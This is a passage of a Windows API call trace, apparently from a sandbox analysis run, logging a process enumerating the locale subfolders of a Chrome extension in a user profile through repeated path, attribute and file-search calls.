lpFilePart=0x0) returned 0x7d [0069.795] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.795] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.795] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.795] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.795] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.796] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr", lpFilePart=0x0) returned 0x7d [0069.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.796] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf15769a0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf15769a0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf15769a0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.796] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr", lpFilePart=0x0) returned 0x7d [0069.796] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.796] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.797] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.797] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.797] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.797] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr", lpFilePart=0x0) returned 0x7d [0069.797] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.797] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.797] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.797] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.797] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.797] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv", lpFilePart=0x0) returned 0x7d [0069.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.798] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf15769a0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf15769a0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf15769a0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.798] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv", lpFilePart=0x0) returned 0x7d [0069.798] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.798] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.798] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.798] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.798] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.798] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv", lpFilePart=0x0) returned 0x7d [0069.798] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.798] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.799] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.799] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.799] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th", lpFilePart=0x0) returned 0x7d [0069.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.799] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf15769a0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf15769a0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf15769a0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.800] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.800] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th", lpFilePart=0x0) returned 0x7d [0069.800] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.801] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.801] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.809] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.809] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.810] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th", lpFilePart=0x0) returned 0x7d [0069.810] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.810] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.810] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.810] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.810] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.810] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr", lpFilePart=0x0) returned 0x7d [0069.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf15769a0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf15769a0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf15769a0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.811] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr", lpFilePart=0x0) returned 0x7d [0069.811] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.811] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.811] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.811] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.811] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.811] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr", lpFilePart=0x0) returned 0x7d [0069.811] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.811] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.812] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.812] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.812] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.812] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk", lpFilePart=0x0) returned 0x7d [0069.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.812] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf159cb00, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf159cb00, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf159cb00, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.813] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk", lpFilePart=0x0) returned 0x7d [0069.813] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.813] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.813] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.813] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.813] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk", lpFilePart=0x0) returned 0x7d [0069.814] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.814] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.814] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.814] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.814] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.814] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi", lpFilePart=0x0) returned 0x7d [0069.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.814] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf159cb00, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xf159cb00, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xf159cb00, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.815] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi", lpFilePart=0x0) returned 0x7d [0069.815] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.815] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.815] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 1 [0069.815] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe5e0 | out: lpFindFileData=0x6cfe5e0) returned 0 [0069.815] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.815] SetThreadErrorMode (dwNewMode=0x0, 